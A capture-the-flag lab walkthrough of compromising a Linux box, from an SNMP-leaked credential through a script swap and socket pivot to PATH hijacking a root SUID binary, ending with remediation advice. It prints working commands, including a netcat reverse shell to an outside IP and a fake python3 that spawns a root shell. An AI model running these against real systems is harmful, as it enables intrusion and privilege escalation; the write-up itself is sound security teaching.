HackSmarter: BankSmarter


A HackSmarter walkthrough

The Setup

This one was a standalone Linux server. I was handed the IP and one goal: get a foothold, escalate all the way to root, and grab the flag from /root/. The idea was to emulate a worst-case attacker who fully compromises a critical asset.

Step 1: Recon With Nmap

The TCP scan was quiet. Only SSH was open.

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu (Ubuntu Linux; protocol 2.0)

With only SSH on TCP and no credentials, there was nothing to attack yet. So I scanned UDP, which people often forget to check.

PORT STATE SERVICE
161/udp open snmp

SNMP was open on UDP 161. That is a common source of leaked information, so that became my focus.

Step 2: SNMP Enumeration

I ran snmp-check against the host using the default community string “public.”

snmp-check 10.0.26.87
[*] System information:
Hostname : ip-10-0-26-87
Contact : "Admin Layne.Stanley:[REDACTED]"
Location : "Indianapolis"

Someone had put a username and password straight into the SNMP contact field. That gave me my first credential for layne.stanley.

Step 3: SSH Foothold

The credentials worked over SSH.

nxc ssh 10.0.26.87 -u 'layne.stanley' -p '[REDACTED]'
SSH 10.0.26.87 22 [+] layne.stanley:[REDACTED] Linux - Shell access!

I logged in. This account could not run sudo, so I needed another way up.

layne.stanley@ip-10-0-26-87:~$ sudo -l
Sorry, user layne.stanley may not run sudo on ip-10-0-26-87.

Step 4: A Script That Runs as Another User

Looking around my home folder, I found a backup script owned by another user, scott.weiland.

layne.stanley@ip-10-0-26-87:~$ ls -la
drwxrwxrwx 5 layne.stanley layne.stanley 4096 .
-rwxr-xr-x 1 scott.weiland scott.weiland 2937 bankSmarter_backup.sh

Two things stood out. My home directory was world-writable (drwxrwxrwx), and the script was owned by scott.weiland. I used pspy to watch running processes, and it showed the script being launched automatically on a schedule as scott.weiland.

CMD: UID=1002 PID=1242 | bash /home/layne.stanley/bankSmarter_backup.sh

I could not edit the file directly, but because I owned the folder it lived in, I could delete it and drop a replacement with the same name. So I swapped in my own version containing a reverse shell. When the schedule fired, it ran as scott.weiland and connected back to me.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.200.68.150 80 >/tmp/f
scott.weiland@ip-10-0-26-87:~$ whoami
scott.weiland
scott.weiland@ip-10-0-26-87:~$ id
uid=1002(scott.weiland) groups=1002(scott.weiland),1003(ronnie.stone),1008(bank-team)

Step 5: Following the bank-team Group

scott.weiland belonged to a group called bank-team, so I looked for anything that group owned.

find / -group bank-team -ls 2>/dev/null
drwxr-x--- /opt/bank
drwxrws--- /opt/bank/sockets
srwxrwx--- /opt/bank/sockets/live.sock
-rwxr-x--- /opt/bank/pty_server.py

There was a Unix socket at /opt/bank/sockets/live.sock and a Python PTY server next to it. A quick check of the shell history showed exactly how it was meant to be used.

scott.weiland@ip-10-0-26-87:~$ cat .bash_history
...
socat stdio unix-connect:/opt/bank/sockets/live.sock
...

Step 6: Pivoting Through the Socket

I connected to the socket with socat. The PTY server on the other end handed me a shell running as ronnie.stone.

scott.weiland@ip-10-0-26-87:~$ socat stdio unix-connect:/opt/bank/sockets/live.sock
ronnie.stone@ip-10-0-26-87:/opt/bank$ whoami
ronnie.stone

ronnie.stone belonged to a new group, bankers, which opened up the next step.

Step 7: A Root SUID Binary

I searched for SUID binaries owned by root, since those run as root and are a classic road to privilege escalation. One belonged to the bankers group.

find / -type f -perm -4000 -user root -ls 2>/dev/null
-rwsr-x--- 1 root bankers 16192 /usr/local/bin/bank_backupd

I ran it to see what it did.

ronnie.stone@ip-10-0-26-87:/opt/bank$ /usr/local/bin/bank_backupd
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backup.py] Running internal Python verification...
[bank_backup.py] Backup completed successfully.

It called a Python helper script. Looking at that script, it simply ran python3 to do its work.

cat /usr/local/bin/bank_backup.py
#!/usr/bin/env python3
import hashlib, time, os
...

Step 8: PATH Hijacking to Root

The root-owned binary invoked python3 by name, not by full path. That means it trusts the PATH environment variable to find it. So I could put my own python3 earlier in the PATH and have the root process run that instead.

I pointed PATH at /tmp first, then created a fake python3 that launches a root shell. The -p flag keeps the root privileges instead of dropping them.

export PATH="/tmp:$PATH"
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/python3
chmod +x /tmp/python3

Then I ran the SUID binary again. It executed as root, reached for python3, and found mine.

ronnie.stone@ip-10-0-26-87:/tmp$ /usr/local/bin/bank_backupd
[bank_backupd] Starting backup for BankSmarter accounts...
root@ip-10-0-26-87:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-0-26-87:/tmp# whoami
root

Root. From there I could read the flag in /root/ and the objective was complete.

How I Got Here

The whole path was a chain of small misconfigurations. SNMP was left open with a password sitting in the contact field. A world-writable home directory let me replace a scheduled script and hop to a second user. A listening socket handed me a third user with no authentication. And a root SUID binary that called a program by name instead of by full path let me hijack the PATH and become root. Each piece was minor on its own, but together they walked me from an anonymous UDP scan to full control.

Remediation

Do not expose SNMP with the default community string, and never store credentials in SNMP fields. Fix loose file and directory permissions so users cannot replace scripts that run as someone else, and avoid world-writable home directories. Lock down local sockets so they do not grant a shell as another user without authentication. Most importantly, in any root-owned or SUID program, always call other programs with absolute paths and a clean, controlled environment so PATH hijacking cannot work.